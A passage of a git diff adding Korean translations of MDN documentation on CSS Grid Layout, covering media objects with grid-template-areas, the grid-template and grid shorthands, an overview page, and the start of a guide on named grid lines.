+<p>온라인에서 찾을 수 있는 많은 그리드 예제들을 보면 주로 주요 페이지 레이아웃에만 그리드를 사용한다고 느끼실 수 있습니다만, 그리드는 큰 요소만큼이나 작은 요소에서도 유용하게 사용될 수 있습니다. 특히나 {{cssxref("grid-template-areas")}}를 쓰면 요소가 어떻게 보일지 코드를 보면 쉽게 이해할 수 있어서 아주 유용합니다.</p>
+
+<p>아주 간단한 예로 “미디어 오브젝트”를 만들어 보겠습니다. 이 컴포넌트의 한쪽은 그림이나 다른 미디어를 위한 공간이 차지하고 다른 쪽은 주 내용이 위치하게 됩니다. 그림은 박스의 오른쪽 혹은 왼쪽에 표시될 수 있습니다.</p>
+
+<p><img alt="미디어 오브젝트 디자인의 한 예를 보여주는 그림" src="https://mdn.mozillademos.org/files/14671/4_Media_objects.png" style="height: 432px; width: 800px;"></p>
+
+<p>여기서 그리드는 두 개의 열 트랙으로 구성되어 있으며, 그림이 들어가는 공간의 열 트랙의 크기는 <code>1fr</code>이며 글자 내용이 들어가는 공간의 크기는 <code>3fr</code>입니다. 만약에 고정된 너비의 그림 영역을 원하시면, 그림이 들어가는 열의 너비는 픽셀값으로 설정하고, 글자 영역에는 <code>1fr</code>을 지정하실 수 있습니다. 그러면 <code>1fr</code> 크기의 단일 열 트랙이 남은 공간을 모두 차지하게 됩니다.</p>
+
+<p>그림이 위치하는 영역의 그리드 이름으로 <code>img</code>를 지정하고 글자 영역은 <code>content</code>라 부르기로 하고, <code>grid-template-areas</code> 프로퍼티를 써서 다음과 같이 배치하게 됩니다.</p>
+
+<div id="Media_1">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.media {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ max-width: 400px;
+}
+.media {
+ display: grid;
+ grid-template-columns: 1fr 3fr;
+ grid-template-areas: "img content";
+ margin-bottom: 1em;
+}
+
+.media .image {
+ grid-area: img;
+ background-color: #ffd8a8;
+}
+
+.media .text {
+ grid-area: content;
+ padding: 10px;
+
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="media"&gt;
+ &lt;div class="image"&gt;&lt;/div&gt;
+ &lt;div class="text"&gt;This is a media object example.
+  We can use grid-template-areas to switch around the image and text part of the media object.
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Media_1', '300', '200') }}</p>
+</div>
+
+<h3 id="박스의_반대편에_그림_표시하기">박스의 반대편에 그림 표시하기</h3>
+
+<p>반대로 그림이 박스의 맞은편에 표시되기를 원하실 때도 있을 겁니다. 이렇게 하려면, <code>1fr</code> 크기의 트랙을 마지막에 위치하도록 하고, 단순하게 {{cssxref("grid-template-areas")}}의 값을 뒤집어서 그리드를 다시 정의해주면 됩니다.</p>
+
+<div id="Media_2">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.media {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ max-width: 400px;
+}
+.media {
+ display: grid;
+ grid-template-columns: 1fr 3fr;
+ grid-template-areas: "img content";
+ margin-bottom: 1em;
+}
+
+.media.flipped {
+ grid-template-columns: 3fr 1fr;
+ grid-template-areas: "content img";
+}
+
+.media .image {
+ grid-area: img;
+ background-color: #ffd8a8;
+}
+
+.media .text {
+ grid-area: content;
+ padding: 10px;
+
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="media flipped"&gt;
+  &lt;div class="image"&gt;&lt;/div&gt;
+  &lt;div class="text"&gt;This is a media object example.
+  We can use grid-template-areas to switch around the image and text part of the media object.
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Media_2', '300', '200') }}</p>
+</div>
+
+<h2 id="그리드_정의_단축용법">그리드 정의 단축용법</h2>
+
+<p>지금까지 그리드 위에 아이템을 배치하는 여러 가지 방법과 또 그리드를 정의하는 다양한 프로퍼티들을 살펴보았습니다. 이번에는 그리드를 정의하는 데 사용할 수 있는 몇 가지 단축용법을 살펴보고 또 이 모든 것을 CSS 한 줄로 정의하는 법을 알아볼 차례입니다.</p>
+
+<p>이것은 분명 다른 개발자나 심지어 미래의 나 자신도 금방 이해하기 어려울 수도 있습니다. 하지만, 표준 명세서에 기술된 용법 중 하나로서, 개별적으로 사용하진 않더라도, 공개된 예제나 다른 개발자가 사용하는 것을 목격할 수 있을 겁니다.</p>
+
+<p>단축용법을 쓰기 전에 꼭 명심해야 할 것은 단축용법은 단번에 많은 프로퍼티의 설정이 가능할 뿐만 아니라, 정의하지 않은, 혹은 정의할 수 없는 것들도 그들의 <strong>초깃값으로 재설정되도록 작용</strong>한다는 점입니다. 그러므로 단축용법을 사용할 땐 다른 곳에서 적용했던 것들이 재설정될 수도 있다는 점을 주의하십시오.</p>
+
+<p>그리드 컨테이너에서 사용할 수 있는 단축용법에는 두 가지가 있는데, 하나는 명시적 그리드 단축용법으로 <code>grid-template</code>이 있고, 나머지는 그리드 정의 단축용법으로 <code>grid</code>가 있습니다.</p>
+
+<h3 id="grid-template"><code>grid-template</code></h3>
+
+<p>{{cssxref("grid-template")}} 프로퍼티는 다음과 같은 프로퍼티들을 설정합니다:</p>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+</ul>
+
+<p>이 프로퍼티는, 잠재적으로 생성되는 열과 행 트랙에 영향을 끼치는 것이 아닌, 명시적 그리드를 정의할 때 조정할 수 있는 것들을 설정하는 것이어서 명시적 그리드 단축용법이라 불립니다.</p>
+
+<p>다음에 있는 코드는 {{cssxref("grid-template")}}를 써서 이 가이드 앞부분에서 만들었던 레이아웃과 똑같은 레이아웃을 만들었습니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template:
+ "hd hd hd hd hd hd hd hd hd" minmax(100px, auto)
+ "sd sd sd main main main main main main" minmax(100px, auto)
+ "ft ft ft ft ft ft ft ft ft" minmax(100px, auto)
+ / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+</pre>
+
+<p>첫 번째 값은 <code>grid-template-areas</code> 값에 해당합니다. 하지만 각 행의 마지막에 해당 행의 크기도 함께 선언해 주었습니다. 여기에 있는 <code>minmax(100px, auto)</code>가 이 역할을 합니다.</p>
+
+<p>그리고 <code>grid-template-areas</code> 뒤에 옆으로 누운 슬래시(/)가 있고, 바로 그 뒤에 세로 행 트랙들을 위한 명시적 트랙 목록이 정의되어 있습니다.</p>
+
+<h3 id="grid"><code>grid</code></h3>
+
+<p>{{cssxref("grid")}} 단축용법은 한 발 더 나가 잠재적 그리드를 정의하는 데 사용되는 프로퍼티들도 같이 설정합니다. 그래서 여기서 설정하는 프로퍼티들은 다음과 같습니다:</p>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+</ul>
+
+<p>이 프로퍼티는 또 {{cssxref("grid-gap")}} 프로퍼티를 <code>0</code>으로 재설정합니다만, 이 단축용법에서는 이 간격을 지정해줄 수는 <em>없습니다</em>.</p>
+
+<p>이 용법은 {{cssxref("grid-template")}} 단축용법과 똑같은 방법으로 사용할 수 있습니다만, 이렇게 하면 설정했던 다른 프로퍼티 값들을 재설정하게 된다는 점을 주의하셔야 합니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid: "hd hd hd hd hd hd hd hd hd" minmax(100px, auto)
+ "sd sd sd main main main main main main" minmax(100px, auto)
+ "ft ft ft ft ft ft ft ft ft" minmax(100px, auto)
+ / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+</pre>
+
+<p>이 단축용법이 제공하는 다른 기능은 나중에 자동 배치와 <code>grid-auto-flow</code> 프로퍼티를 알아보는 가이드에서 다시 살펴보겠습니다.</p>
+
+<p>만약 지금까지의 초반 가이드들을 쭉 훑어보셨다면, 이제 라인을 기준으로 한 배치나 이름이 지명된 영역을 사용해서 그리드 레이아웃을 만드실 수 있는 위치까지 도달하셨습니다. 다음엔 충분한 시간을 가지고 그리드를 사용해서 몇몇 일반적인 레이아웃 패턴을 만들어 보시도록 하십시오. 앞으로 더 배워야 할 많은 새로운 기술 용어들이 있지만, 이들의 문법은 비교적 이해하기 쉬울 겁니다. 여러 예제를 다루시면서, 지금까지 다루지 않았던 것들에 대한 여러 의문점과 복잡한 사용 사례들을 마주칠 수 있을 겁니다. 이번 가이드의 나머지 부분에서는 표준 명세서에 있는 좀 더 자세한 사항들을 알아 볼 예정입니다. 그래서 앞으로 소개될 기술을 가지고 좀 더 복잡한 고급 레이아웃을 만들 수 있게 되시길 바랍니다.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+ <ol>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/index.html b/files/ko/web/css/css_grid_layout/index.html
new file mode 100644
index 0000000000..f3d2b42199
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/index.html
@@ -0,0 +1,253 @@
+---
+title: CSS 그리드 레이아웃
+slug: Web/CSS/CSS_Grid_Layout
+tags:
+ - CSS
+ - Grid Layout
+ - Grids
+ - 개요
+ - 그리드
+ - 그리드 레이아웃
+ - 레이아웃
+ - 참고
+translation_of: Web/CSS/CSS_Grid_Layout
+---
+<p><strong>CSS 그리드 레이아웃(Grid Layout)</strong>은 페이지를 여러 주요 영역으로 나누거나, 크기와 위치 및 문서 계층 구조의 관점에서 HTML 기본 요소로 작성된 콘트롤 간의 관계를 정의하는 데 아주 탁월합니다.</p>
+
+<p>테이블과 마찬가지로 그리드 레이아웃은 세로 열과 가로 행을 기준으로 요소를 정렬할 수 있습니다. 하지만, 테이블과 달리 CSS 그리드는 다양한 레이아웃을 훨씬 더 쉽게 구현할 수 있습니다. 예를 들어, 그리드 컨테이너 속 자식 요소를, 마치 CSS로 일일이 위치를 지정해 준 것처럼, 실제로 겹치게 층을 지면서 자리를 잡도록 각 요소의 위치를 지정해 줄 수도 있습니다.</p>
+
+<h2 id="Basic_Example" name="Basic_Example">기본 예제</h2>
+
+<p>아래 예제는 3개의 세로 열 트랙으로 이루어졌으며, 저절로 채워지며 생성되는 가로 행 트랙은 높이가 최소 100픽셀 이상, 콘텐츠 최대치까지 자동으로 늘어나는 구조의 그리드를 보여줍니다. 각 아이템은 그리드 라인을 기준으로 배치되었습니다.</p>
+
+<div id="example">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+ max-width: 940px;
+ margin: 0 auto;
+}
+
+.wrapper &gt; div {
+ border: 2px solid rgb(233,171,88);
+ border-radius: 5px;
+ background-color: rgba(233,171,88,.5);
+ padding: 1em;
+ color: #d9480f;
+}</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="one"&gt;One&lt;/div&gt;
+ &lt;div class="two"&gt;Two&lt;/div&gt;
+ &lt;div class="three"&gt;Three&lt;/div&gt;
+ &lt;div class="four"&gt;Four&lt;/div&gt;
+ &lt;div class="five"&gt;Five&lt;/div&gt;
+ &lt;div class="six"&gt;Six&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-gap: 10px;
+ grid-auto-rows: minmax(100px, auto);
+}
+.one {
+ grid-column: 1 / 3;
+ grid-row: 1;
+}
+.two {
+ grid-column: 2 / 4;
+ grid-row: 1 / 3;
+}
+.three {
+ grid-column: 1;
+ grid-row: 2 / 5;
+}
+.four {
+ grid-column: 3;
+ grid-row: 3;
+}
+.five {
+ grid-column: 2;
+ grid-row: 4;
+}
+.six {
+ grid-column: 3;
+ grid-row: 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('example', '500', '440') }}</p>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="CSS_프로퍼티">CSS 프로퍼티</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-area")}}</li>
+ <li>{{cssxref("grid-row-gap")}}</li>
+ <li>{{cssxref("grid-column-gap")}}</li>
+ <li>{{cssxref("grid-gap")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_함수">CSS 함수</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("repeat", "repeat()")}}</li>
+ <li>{{cssxref("minmax", "minmax()")}}</li>
+ <li>{{cssxref("fit-content", "fit-content()")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_데이터_타입">CSS 데이터 타입</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+</ul>
+</div>
+
+<h3 id="용어집_목록">용어집 목록</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Lines">Grid Lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Tracks">Grid Tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Cell">Grid Cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Areas">Grid Area</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Column">Grid column</a></li>
+</ul>
+</div>
+
+<h2 id="가이드">가이드</h2>
+
+<div class="index">
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">그리드 레이아웃과 다른 레이아웃 방법과의 관계</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grid, Logical Values and Writing Modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid and progressive enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realising_common_layouts_using_CSS_Grid_">Realising common layouts using CSS Grid</a></li>
+</ul>
+</div>
+
+<h2 id="외부_문서">외부 문서</h2>
+
+<ul>
+ <li><a href="http://labs.jensimmons.com/">Examples from Jen Simmons</a></li>
+ <li><a href="http://gridbyexample.com/">Grid by Example - a collection of usage examples and video tutorials</a></li>
+ <li><a href="https://tympanus.net/codrops/css_reference/grid/">Codrops Grid Reference</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox DevTools CSS Grid Inspector</a></li>
+ <li><a href="https://mozilladevelopers.github.io/playground/">CSS Grid Playground</a></li>
+ <li><a href="http://cssgridgarden.com">Grid Garden</a> - A game for learning CSS grid</li>
+</ul>
+
+<h2 id="표준_문서">표준 문서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Grid') }}</td>
+ <td>{{ Spec2('CSS3 Grid') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+ <ol>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html
new file mode 100644
index 0000000000..bc0957fb2e
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html
@@ -0,0 +1,497 @@
+---
+title: Layout using named grid lines
+slug: Web/CSS/CSS_Grid_Layout/Layout_using_named_grid_lines
+tags:
+ - CSS
+ - CSS Grids
+ - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
+---
+<p>이전 가이드에선 그리드 트랙을 정의하면 생성되는 라인을 사용해서 아이템을 배치하는 법을 살펴보았으며, 또한 이름이 명명된 템플릿 영역을 가지고 어떻게 아이템들을 배치하는지도 알아보았습니다. 이번 가이드에선 이름이 주어진 라인을 쓰는 상황에서 이 두 가지 방법이 서로 어떻게 작용하는지 알아보겠습니다. 라인에 이름을 지어 주는 것이 매우 유용할 때도 있지만, 이름과 트랙 크기가 혼합돼서 사용되는 그리드 용법을 보고 있으면 매우 헷갈릴 수도 있습니다. 하지만 몇 가지 예제를 가지고 작업해 보시면 점점 명확해지면서 나중엔 작업하기도 훨씬 수월해지실 겁니다.</p>
+
+<h2 id="그리드를_정의할_때_라인의_이름_짓는_법">그리드를 정의할 때 라인의 이름 짓는 법</h2>
+
+<p><code>grid-template-rows</code> 그리고 <code>grid-template-columns</code> 프로퍼티로 그리드를 정의할 때 그리드에 있는 모든 라인 혹은 일부 라인들에 이름을 지어 줄 수 있습니다. 본보기로 라인을 기준으로 아이템을 배치하는 방법을 설명한 가이드에서 만들었던 간단한 레이아웃을 예로 들어 보겠습니다. 이번엔 이름이 주어진 라인을 써서 그리드를 만들 겁니다.</p>
+
+<div id="example_named_lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<p>그리드를 정의할 때, 그리드 라인의 이름은 대괄호 안에 적어줍니다. 여기서 라인 이름은 원하시는 것 아무거나 다 괜찮습니다. 여기선 컨테이너를 감싸는 행과 열 방향의 시작과 끝 라인 모두의 이름을 정의해 주었습니다. 그리드에 있는 모든 라인의 이름을 다 붙여줄 필요는 없습니다만, 그리드 가운데에 있는 블록의 행과 열 방향의 라인 이름을 <code>content-start</code> 그리고 <code>content-end</code>라는 이름을 정의해 주었습니다. 이런 식으로 레이아웃의 몇몇 주요 라인들에만 이름을 붙여주시면 됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+ grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+</pre>
+
+<p>이렇게 라인들에 이름을 짓고 나면, 라인 번호 대신에 이름을 써서 아이템을 배치할 수 있게 됩니다.</p>
+
+<pre class="brush: css">.box1 {
+ grid-column-start: main-start;
+ grid-row-start: main-start;
+ grid-row-end: main-end;
+}
+
+.box2 {
+ grid-column-start: content-end;
+ grid-row-start: main-start;
+ grid-row-end: content-end;
+}
+
+.box3 {
+ grid-column-start: content-start;
